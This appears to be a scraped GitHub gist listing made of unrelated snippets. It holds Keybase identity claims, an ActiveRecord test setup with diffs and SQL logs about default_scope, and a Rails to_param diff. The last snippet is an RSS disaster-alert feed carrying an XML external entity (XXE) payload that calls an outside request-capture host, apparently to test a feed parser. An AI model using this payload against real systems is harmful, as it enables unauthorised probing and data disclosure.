I hereby claim:
- I am hughdavenport on github.
- I am hughdavenport (https://keybase.io/hughdavenport) on keybase.
- I have a public key whose fingerprint is 7BDB 20C1 883A 0DDC 9D78 7825 D502 2257 A9C4 7E3D
To claim this, I am signing this object:
I hereby claim:
To claim this, I am signing this object:
gem 'activerecord' | |
require 'active_record' | |
require 'logger' | |
puts "Active Record #{ActiveRecord::VERSION::STRING}" | |
ActiveRecord::Base.establish_connection( | |
:adapter => 'sqlite3', | |
:database => ':memory:' | |
) |
--- default_scope.rb 2013-02-15 15:25:03.884271576 +1300 | |
+++ no_scope.rb 2013-02-25 08:50:18.150799882 +1300 | |
@@ -21,7 +21,6 @@ | |
end | |
class T1 < ActiveRecord::Base | |
- default_scope where(:flag => true) | |
has_many :t2 | |
attr_accessor :active | |
end |
--- default_scope.no_time.out 2013-02-25 08:59:20.181150341 +1300 | |
+++ no_scope.no_time.out 2013-02-25 08:59:26.893130014 +1300 | |
@@ -14,15 +14,12 @@ | |
D, DEBUG -- : SQL INSERT INTO "t2s" ("t1_id") VALUES (?) [["t1_id", 2]] | |
D, DEBUG -- : commit transaction | |
D, DEBUG -- : T1 Load SELECT "t1s".* FROM "t1s" WHERE "t1s"."flag" = 't' | |
-D, DEBUG -- : T2 Load SELECT "t2s".* FROM "t2s" | |
-D, DEBUG -- : T1 Load SELECT "t1s".* FROM "t1s" WHERE "t1s"."flag" = 't' AND "t1s"."id" IN (1, 2) | |
-D, DEBUG -- : T2 Load SELECT "t2s".* FROM "t2s" INNER JOIN "t1s" ON "t1s"."id" = "t2s"."t1_id" | |
-D, DEBUG -- : T1 Load SELECT "t1s".* FROM "t1s" WHERE "t1s"."flag" = 't' AND "t1s"."id" = 1 LIMIT 1 |
diff --git a/activesupport/lib/active_support/core_ext/object/to_param.rb b/activesupport/lib/active_support/core_ext/object/to_param.rb | |
index 0d5f350..f25c3d6 100644 | |
--- a/activesupport/lib/active_support/core_ext/object/to_param.rb | |
+++ b/activesupport/lib/active_support/core_ext/object/to_param.rb | |
@@ -53,6 +53,6 @@ class Hash | |
def to_param(namespace = nil) | |
collect do |key, value| | |
value.to_query(namespace ? "#{namespace}[#{key}]" : key) | |
- end.sort * '&' | |
+ end * '&' |
I hereby claim:
To claim this, I am signing this object:
<?xml version="1.0" encoding="utf-8"?> | |
<!DOCTYPE title [ <!ELEMENT title ANY > | |
<!ENTITY xxe SYSTEM "https://ensg4np1qmw7t52.m.pipedream.net/xxe" >]> | |
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:asgard="http://asgard.jrc.it" xmlns:gdacs="http://www.gdacs.org" xmlns:glide="http://glidenumber.net" xmlns:georss="http://www.georss.org/georss" xmlns:atom="http://www.w3.org/2005/Atom"> | |
<channel> | |
<title>GDACS RSS information&xxe;</title> | |
<link>http://www.gdacs.org/</link> | |
<description>Near real-time alerts about natural disaster with a potential &xxe;humanitarian impact</description> | |
<managingEditor>stefano.paris@ext.ec.europa.eu</managingEditor> | |
<!--Records number 15--> |